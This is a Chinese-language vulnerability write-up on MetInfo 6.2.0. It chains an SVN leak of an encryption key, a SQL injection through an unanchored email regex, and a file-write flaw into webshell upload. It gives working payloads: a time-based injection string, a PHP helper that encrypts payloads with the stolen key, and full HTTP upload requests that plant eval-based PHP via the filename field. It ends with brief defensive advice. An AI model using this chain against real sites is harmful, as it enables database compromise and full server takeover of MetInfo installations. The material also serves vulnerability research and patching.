某info 6.2.0正则匹配不严谨导致注入+getshell组合拳
字数 1520 2025-08-26 22:11:15
MetInfo 6.2.0 安全漏洞分析与利用
漏洞概述
MetInfo 6.2.0 存在多个安全漏洞,包括:
- 正则匹配不严谨导致的SQL注入漏洞
- 文件上传与反序列化组合导致的远程代码执行漏洞
- SVN信息泄露漏洞
这些漏洞可以组合利用,最终实现服务器权限获取。
漏洞分析
1. SVN信息泄露
影响版本:SVN版本>1.7时,传统工具可能无法dump源码
利用方法:
- 检查目标是否存在
/.svn/目录 - 使用@admintony的svnExploit工具获取源码
- 重点查找
config/config_safe.php文件中的加密key
关键点:
- 该key用于账户信息的加解密
- 加密算法位于
app/system/include/class/auth.class.php - key定义在
config/config.inc.php:109
2. 正则匹配导致的SQL注入
漏洞位置:app/system/user/web/getpassword.class.php的dovalid()方法
漏洞成因:
$email = $auth->decode($_M['form']['p'])直接解密参数,未过滤is_email()函数正则表达式缺少起始符^- 正则表达式:
/[\w-]+@[\w-]+\.[a-zA-Z\.]*[a-zA-Z]$/
- 正则表达式:
- 构造如
' and 1=1-- 1@qq.com的payload可通过验证
利用步骤:
- 使用获取的key加密payload
<?php // 使用获取的key加密payload print_r(urlencode(authcode($_GET['p'],'ENCODE','获取的key','0'))); - 发送加密后的payload到
dovalid接口
延时注入示例:
' and if(1=1,sleep(5),1)-- 123@qq.com
3. 文件上传与反序列化组合漏洞
漏洞位置:app/system/include/class/web.class.php的__destruct()方法
漏洞链:
- 通过注入获取
$_M['config']['met_member_force']值 - 控制
$_M['form']['html_filename']和$_M['form']['metinfonow'] - 利用
file_put_contents(PATH_WEB.$filename, $output)写入文件 $output来自ob_get_contents()获取的缓冲区数据
两种利用方式:
方式一:超出文件大小getshell
利用条件:
- 上传文件超过后台设置的最大大小(默认8MB)
利用步骤:
- 通过注入修改后台文件大小限制为较小值(如0.0008MB)
- 构造上传请求,控制文件名包含恶意代码
Payload示例:
POST /admin/index.php?c=uploadify&m=include&a=doupfile&lang=cn&metinfonow=xwtpwmp&html_filename=1.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW
------WebKitFormBoundary8tQiXReYsQYXHadW
Content-Disposition: form-data; name="test"; filename="<?php eval($_POST[1]);?>"
Content-Type: image/jpeg
[超过限制大小的文件内容]
------WebKitFormBoundary8tQiXReYsQYXHadW--
方式二:无后缀文件getshell(6.1.3及以下版本)
漏洞位置:app/system/include/class/upfile.class.php的getext()方法
修复情况:
- 6.2.0版本已修复,增加了正则检查:
preg_match("/^[0-9a-zA-Z]+$/u", $ext)
Payload示例:
POST /admin/index.php?c=uploadify&m=include&a=doupfile&lang=cn&metinfonow=xwtpwmp&html_filename=1.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW
------WebKitFormBoundary8tQiXReYsQYXHadW
Content-Disposition: form-data; name="test"; filename="<?php phpinfo();?>"
Content-Type: image/jpeg
test
------WebKitFormBoundary8tQiXReYsQYXHadW--
完整利用链
- 发现SVN泄露,获取加密key
- 利用key加密SQL注入payload
- 通过注入获取
met_member_force值 - 利用文件上传漏洞写入webshell
防御建议
- 禁用或保护SVN目录访问
- 完善邮箱验证正则表达式,添加起始符
^ - 对所有用户输入进行严格过滤,包括解密后的参数
- 更新到最新版本,修复已知漏洞
- 限制文件上传大小和类型,加强后缀检查
参考链接
- https://nosec.org/home/detail/2436.html
- https://xz.aliyun.com/t/4425